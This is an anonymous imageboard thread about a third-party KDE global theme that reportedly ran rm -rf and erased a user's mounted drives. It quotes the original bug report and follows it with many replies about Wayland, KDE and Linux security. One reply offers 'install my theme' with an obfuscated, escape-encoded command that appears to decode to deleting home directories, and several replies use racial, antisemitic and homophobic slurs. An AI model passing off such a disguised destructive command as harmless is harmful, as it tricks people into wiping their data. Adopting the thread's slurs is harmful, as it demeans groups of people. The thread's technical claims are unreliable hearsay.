It's Kover - 3rd party Global themes can run arbitrary code

>Do NOT install Global Themes - Some wipe out ALL YOUR DATA General Bug
>Dear Community and KDE,
>I just installed this Global Theme, innocently (Global Themes -> Add New...):
>It DELETES all your USER mounted drives data. It executes rm -rf on your behalf, deletes all personal data immediately. No questions asked.
>I'd appreciate it if anyone could escalate this, I find it totally mind blowing that installing skins allow script execution so easily. I cancelled this when it asked for my root password, but it was too late for my personal data. All drives mounted under my user were gone, down to 0 bytes, games, configurations, browser data, home folder, all gone.
>As per OpenSUSE Reddit users, they indicated that this plasmoid executes rm functions
>Please investigate and escalate 🙂 - I'll be busy reinstalling all my system from scratch, restoring data to go back to work.
>UPDATE: Really wanted to appreciate the community for the response and overall reactions of developers. Remember to backup important data, and keep in mind we are all part of making these systems better, as I felt well to be able to share this and be heard. In any OS us users authorize programs to execute things on our behalf, so remember always to run trusted software! I can't confirm whether this was malicious, to my understanding it was just a compatibility and programmers mistake gone south. Looking forward to what this brings in unmoderated community content management.
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  1. 2 months ago
    Anonymous

    Do NOT install Computer Programs - Some wipe out ALL YOUR DATA

    • 2 months ago
      Anonymous

      Sound advice
      Return to monke

  2. 2 months ago
    Anonymous

    updooters gonna updoot. y'all get what you deserve.

    • 2 months ago
      Anonymous

      It's not updooting if it was a new program/script

      • 2 months ago
        Anonymous

        It's a Plasma 6 issue, is it not? In other words, an updooter issue.

        • 2 months ago
          Anonymous

          How is it a Plasma 6 issue? I didn't see anything Plasma 6 specific in the issue myself, but maybe you've been more thorough.

          • 2 months ago
            Anonymous

            Because it works as intended on Plasma 5.

          • 2 months ago
            Anonymous

            Indeed it does lol. That's sorta the point. You don't have a clue what the issue is about do you lol

          • 2 months ago
            Anonymous

            I was replying to

            How is it a Plasma 6 issue? I didn't see anything Plasma 6 specific in the issue myself, but maybe you've been more thorough.

            , moron. Obviously I know that it only affects updooters.

          • 2 months ago
            Anonymous

            But that's the thing, it DOESN'T only affect updooters. It happens on Plasma 5 too because of course it does, if you had read what is going on you'd know it has nothing to do with Plasma versions. Lmao RTFT

          • 2 months ago
            Anonymous

            >if you had read what is going on you'd know it has nothing to do with Plasma versions.
            ...anon says, while indicating that he didn't read what is going on.

          • 2 months ago
            Anonymous

            >Heh, this plasmoid aczully runs on KDE5 but in KDE6 it just wipes your disk
            >So technically KDE was not pozzed by virus, it was just a mere accident

          • 2 months ago
            Anonymous

            >arguing with voices in your head
            Here, (You) dropped these.

  3. 2 months ago
    Anonymous

    clown world if everything comes from plebbit, gets regurgitated by other shit and ends up here

  4. 2 months ago
    Anonymous

    B... but muh Wayland suppose to be secure! How could that happen?

    • 2 months ago
      Anonymous

      Can you explain what Wayland has to do with KDE themes? As far as I am aware this issue isn't happening on Gnome (or any other Wayland compositor)

      • 2 months ago
        Anonymous

        >reddit thread

        based
        /thread

        This is the same guy that will complain about Gnome not having global themes that can run arbitrary code

        What does Wayland have to do with this..? I feel like you might not understand what Wayland is lol

        you are (probably) talking to a bot

        • 2 months ago
          Anonymous

          >criticisms against wayland makes you a bot
          Shills aren't even trying anymore

          • 2 months ago
            Anonymous

            >t.bot

      • 2 months ago
        Anonymous

        What does Wayland have to do with this..? I feel like you might not understand what Wayland is lol

        >KDE start to force gayland to everyone as default
        >suddenly a bunch of security issues and bugs start appearing
        >That's just a coincidence goy, wayland is secure an trustworthy, just like rust and vaccines. Stop asking questions.

        • 2 months ago
          Anonymous

          No no, go ahead and explain how exactly Wayland has something to do with this. Or is it secret knowledge not to be shared? lmao

          [...]
          [...]
          [...]
          you are (probably) talking to a bot

          Probably just a moron

          • 2 months ago
            Anonymous

            New protocol to implement themes means new bugs.

          • 2 months ago
            Anonymous

            And you think this error is related to Wayland how? Because if you read what's the issue you'd realize how fricking stupid you're being. Nothing to do with Wayland

          • 2 months ago
            Anonymous

            NTA but if KDE is full of Waylandgays who are known to have low IQ then yes i can see it can be related.

          • 2 months ago
            Anonymous

            >man I ran this script that had the line sudo rm -R / and lost all my shit
            >frick wayland
            not even using wayland, but it's clear the user is an idiot

          • 2 months ago
            Anonymous

            You can't have "push to talk" because of "muh security" but GUI theme can wipe your drives clean. LOL. LMAO.

          • 2 months ago
            Anonymous

            Silence, goy

    • 2 months ago
      Anonymous

      >reddit thread

      based
      /thread

    • 2 months ago
      Anonymous

      This is the same guy that will complain about Gnome not having global themes that can run arbitrary code

    • 2 months ago
      Anonymous

      What does Wayland have to do with this..? I feel like you might not understand what Wayland is lol

  5. 2 months ago
    Anonymous

    install my theme
    echo "`$'x72x6d' $'55x72x66' $'57x68x6fx6dx65'`" | aplay --src=stdin

    • 2 months ago
      Anonymous

      >install
      >aplay

      • 2 months ago
        Anonymous

        my bad i put in the wrong command
        try this
        echo "`$'x72x6d' $'55x72x66' $'57x68x6fx6dx65'`" | kdethemeinstall

        • 2 months ago
          Anonymous

          fricking staled memes

        • 2 months ago
          Anonymous

          bash: kdethemeinstall: command not found
          it doesn't work, anon... ... ...

        • 2 months ago
          Anonymous

          Neat, it plays Zelda music!

  6. 2 months ago
    Anonymous

    >Be loonix user
    >Install themes
    >Data gets wiped
    Sasuga power of free as in freedom of software

    • 2 months ago
      Anonymous

      >tried to be a linux user
      >tried installing a fricking theme
      >shit crashes and i have to force a shutdown
      >linuxBlack folk tell me to git gud and that its "distro problem" and to "get this distro instead"
      it's not over for linuxgays because it never even began.

      • 2 months ago
        Anonymous

        tell me to git gud and that its "distro problem" and to "get this distro instead"
        Every single time I've complained about a deal-breaking issue. Then I install the distro, and I get different deal-breaking issues.

  7. 2 months ago
    Anonymous

    Just saw this thread. Pretty bad, but I wonder how this would be fixed.

  8. 2 months ago
    Anonymous

    yeah kde global themes actually use JS to rearrange desktop and other things. veirfy the js files on git repository before installing a theme.
    baka my head. entirety of loonix desktop user space is a steaming pile of shit. i have had more problems while using a """"just werks"""" distro with a 1000 layers of abstraction for utilities than anything else.

    • 2 months ago
      Anonymous

      >entirety of loonix desktop user space is a steaming pile of shit. i have had more problems while using a """"just werks"""" distro with a 1000 layers of abstraction for utilities than anything else.

      autistic tiling wms win again

  9. 2 months ago
    Anonymous

    lmfao, still better than footgays themes

  10. 2 months ago
    Anonymous

    ill stick to the Black person hating hyprland

  11. 2 months ago
    Anonymous

    should have listened to ebussy and don't theme your app.

    • 2 months ago
      Anonymous

      The Prophet

  12. 2 months ago
    Anonymous

    > PlasmaCore.DataSource "executable" engine arbitrary code execution via any QML file in backdoored wallpaper plugins, themes, etc. distributed via store.kde.org
    > Reported: 2024-01-20
    > Status: CLOSED INTENTIONAL

    > store.kde.org/u/satorugojo
    > Joined Feb 25 2024
    Brand new account dumps code that blows up your computer.

  13. 2 months ago
    Anonymous

    >All drives mounted under my user were gone
    I still can't believe Unix machines do shit like this. Drives should be in a magic volumes section controlled only by the OS.

  14. 2 months ago
    Anonymous

    Waylandbros, I thought the switch to Wayland would increase security?

  15. 2 months ago
    Anonymous

    Gnomechads. Were winning!

  16. 2 months ago
    Anonymous

    linux needs optional scoped storage like android.

  17. 2 months ago
    Anonymous

    Would that be possible, if Wayland introduced theme protocol?

  18. 2 months ago
    Anonymous

    >KDE actively warns you global themes can frick you over
    >KDE actively warns you shouldn't trust and you must check what you're installing
    >require permission escalation to fully install
    >Some ricer just did next > next > root pass > ok
    >It's kover
    morons gonna moron

    • 2 months ago
      Anonymous

      It's a terrible look for KDE regardless.

      • 2 months ago
        Anonymous

        >bug
        >user-made unofficial content
        Not my problem.

        >a terrible look
        Go back to plebbit, homosexual.

        • 2 months ago
          Anonymous

          >KDE believer gets mad at KDE critics in the face of a KDE catastrophe
          Many such cases.

          Must. Protect. KDE. Belief. System.

      • 2 months ago
        Anonymous

        Sure anon, I'll hold your hand next time you're gonna cross the road too

  19. 2 months ago
    Anonymous

    Ummm, freetarudo-sistahs... I thought Wayland is a blessing that will secure my heckin desktop?

  20. 2 months ago
    Anonymous

    ricing is childish
    breezechads stay winning

  21. 2 months ago
    Anonymous

    We Gnomechads don't have this issue.

    • 2 months ago
      Anonymous

      Because you don't have features in the first place.

      • 2 months ago
        Anonymous

        >Our bugs are actually features goys!!!1!1!11111

        • 2 months ago
          Anonymous

          >Why yes, I don't have a fully functioning filepicker, how could you tell?

          • 2 months ago
            Anonymous

            Is this a gnome meme? cause kde has had a filepicker since forever.

          • 2 months ago
            Anonymous

            It is. GTK issue to be precise

  22. 2 months ago
    Anonymous

    KDE Black folk

  23. 2 months ago
    Anonymous

    >loonix can't even be trusted to safely install themes

  24. 2 months ago
    Anonymous

    >y-yeah windows and macos does provide a familiar, stable desktop b-but at least loonix is customizable
    >*wipes your drives

    lmaoooo

  25. 2 months ago
    Anonymous

    Can't wait for gnome 46 so I can stop using this trash.

  26. 2 months ago
    Anonymous

    There should be a separation between a theme that changes some cosmetics and a desktop overhaul. Using the same functionality for both means people will get complacent and ignore the warnings because 99% are safe and 1% contain buggy or outright malicious code.
    MacOSX doesn't support themes so people made their own. But installing it meant fricking with system libraries so it was damned obvious it was dangerous and stupid.
    It's not enough to say "warning, don't install themes you don't trust" because "trust" in this instance means "audited the github" which very few people are capable of. Much better to support the 99% cases of people just wanting some window dressing and leave the 1% to figure out how to trust 3rd party bullshit through a special interface that says "WARNING: you don't want to frick with this. Type 'I am an idiot' to continue."

  27. 2 months ago
    Anonymous

    is this the power of le most secure operating system?

  28. 2 months ago
    Anonymous

    Linix community is so stupid they thought running arbitary JavaScript on desktop would be safe

  29. 2 months ago
    Anonymous

    This is why gnome is the default. Waiting for gnome 46. Gnomechads win again.

  30. 2 months ago
    Anonymous

    xfce is what sane people use
    All those gays with corporate support are unable to make DE that works well

    • 2 months ago
      Anonymous

      no one actually uses xfeces

      • 2 months ago
        Anonymous

        Shut up, perpetual beta tester gay

  31. 2 months ago
    Anonymous

    >You will install the newest neonpurple highcontrast theme with windows 98 user login made by Sanjaay Dhamar that has 4 stars out of 5 by default but 0 reviews

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